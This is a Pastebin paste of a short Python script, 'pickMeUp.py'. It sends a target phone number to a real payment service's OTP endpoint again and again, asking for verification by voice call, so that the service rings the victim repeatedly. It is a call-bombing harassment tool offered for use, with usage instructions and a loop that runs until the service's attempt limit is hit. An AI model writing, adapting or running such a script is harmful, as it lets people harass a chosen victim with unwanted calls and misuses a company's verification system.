ClavinJune

pickMeUp.py

Aug 18th, 2018
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.16 KB | None | 0 0
  1. #! /usr/bin/python3.6
  2. #-*-coding:utf-8-*-
  3.  
  4. import sys, requests, os, json, time
  5.  
  6. __author__  = 'Darkitsune'
  7. __version__ = '1.0.0'
  8.  
  9. colors = {
  10.   'default': '\033[39m',
  11.   'red': '\033[31m',
  12.   'green': '\033[32m',
  13.   'blue': '\033[94m'
  14. }
  15.  
  16. status = {
  17.   'ok': '200000',
  18.   'error': '500001',
  19.   'limit': '412556'
  20. }
  21.  
  22. def print_header() -> None:
  23.   os.system('clear')
  24.   print(''' {}____  _      _    __  __      _   _
  25. |  _ \\(_) ___| | _|  \\/  | ___| | | |_ __
  26. | |_) | |/ __| |/ / |\\/| |/ _ \\ | | | '_ \\
  27. |  __/| | (__|   <| |  | |  __/ |_| | |_) |
  28. |_|   |_|\\___|_|\\_\\_|  |_|\\___|\\___/| .__/
  29.                          {}|_|{}{}'''.format(colors['blue'], __author__, __version__, colors['default']))
  30.  
  31. def print_usage() -> None:
  32.   print('Usage: {} [phone number] [repetition] [interval]'.format(sys.argv[0]))
  33.   print('Example: {} 0821xxxxxxxx 5 10'.format(sys.argv[0]))
  34.   print('To print this help: {} [--help | -h]'.format(sys.argv[0]))
  35.   exit(1)
  36.  
  37. def request_data(phone) -> object:
  38.   return json.loads(
  39.     requests.post('https://www.tokocash.com/oauth/otp',
  40.     data = {'msisdn': phone, 'accept':'call'}).text)
  41.  
  42. def main(phone, repeat, interval) -> None:
  43.   for i in range(0, repeat):
  44.     print('{}. Calling {}... '.format(i+1, phone), end='\n\b\r')
  45.  
  46.     res = request_data(phone)
  47.  
  48.     if res['code'] == status['ok']:
  49.       print('{}{}. Calling {} success, {} attempt left{}'.format(
  50.         colors['green'], i+1, phone, res['data']['otp_attempt_left'],
  51.         colors['default']))
  52.  
  53.       if res['data']['otp_attempt_left'] == 0:
  54.         break
  55.       time.sleep(interval*2)
  56.     else:
  57.       print('{}{}. Calling {} failed, {}{}'.format(
  58.         colors['red'], i+1, phone, res['errors'][0], colors['default']))
  59.  
  60.     if res['code'] == status['error']:
  61.       time.sleep(interval)
  62.     elif res['code'] == status['limit']:
  63.       break
  64.  
  65. if __name__ == '__main__':
  66.   print_header()
  67.  
  68.   if len(sys.argv) != 4 or sys.argv[1] == '-h' or sys.argv[1] == '--help':
  69.     print_usage()
  70.  
  71.   try: repeat = int(sys.argv[2])
  72.   except: repeat = 1
  73.  
  74.   try: interval = int(sys.argv[3])
  75.   except: interval = 1
  76.  
  77.   try: main(sys.argv[1], repeat, interval)
  78.   except: exit(2)
Add Comment
Please, Sign In to add comment